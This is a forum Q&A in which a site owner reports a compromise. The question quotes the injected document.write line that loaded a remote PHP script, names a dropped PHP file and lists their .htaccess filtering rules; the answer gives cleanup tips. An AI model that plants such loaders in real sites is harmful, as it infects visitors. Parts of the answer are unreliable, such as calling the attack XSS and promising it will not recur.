Attack site via .htaccess - apache

Question

Yesterday someone attacked my sites.
I use my own CMS and I doubt that they have access to .Htaccess
I would like to know if my .Htaccess is protected.
Actually my js files was affected by this code:
/*df1e0b*/
/**/
document.write("<script type='text/javascript' src='http://audiorealestudio.com /fotosdiegoalejandro/VfTzdPj4.php'></"+ "script>");
/*/df1e0b*/
Also i find one php file on root rbKcy8Vj.php
This is my htaccess
# protect .htaccess
<Files ~ "^.*\.([Hh][Tt][Aa])">
order allow,deny
deny from all
satisfy all
</Files>
# directory browsing
Options All -Indexes
<FilesMatch "\.(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$">
Order Allow,Deny
Deny from all
</FilesMatch>
<Files ~ ".(xml|css|jpe?g|png|gif|js)$">
Allow from all
</Files>
<Files config.php>
Order deny,allow
Deny from all
</Files>
# protect from sql injection
Options +FollowSymLinks
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} !^www\.
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
RewriteCond %{REQUEST_URI} ^(.*)_vti(.*)$ [OR]
RewriteRule ^(.*)$ index.php [F,L]
RewriteRule ^contact/?$ contact.php [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^test/([0-9a-zA-Z-_]+)/?$ test.php?cat=$1 [QSA,L]

Answer 1

No actually your .htaccess doesnt seem to be protected. I have gone through almost the same earlier, and my .htaccess was compromised multiple times during that attack even if i set its permissions to 444.
Bonus: How to resolve this issues?
Alright I have faced this issue earlier with Joomla CMS, this usually happens when you don't update and 0-day exploits turn up or due to bad plugins. Based on your javascript code above it looks like a XSS exploit.
Now what has happened is that a PHP shell has been uploaded to your server via the script code executed, you need to first update your cms so that this exploit does not occur again. Clean all the files affected (remove weird code you end up seeing) there might be multiple files best way is to see the date modified. Also look through your folders for suspicious files, you can find them using date modified/created and the dates might be weird like in my case it was set was 1970 so I couldn't find it easily.
After you have removed the suspicious js code, weird php scripts and updated your cms then make sure your .htaccess is clean and its permissions are set as 444. Thats it, the attack wont happen again (unless you didnt update your cms)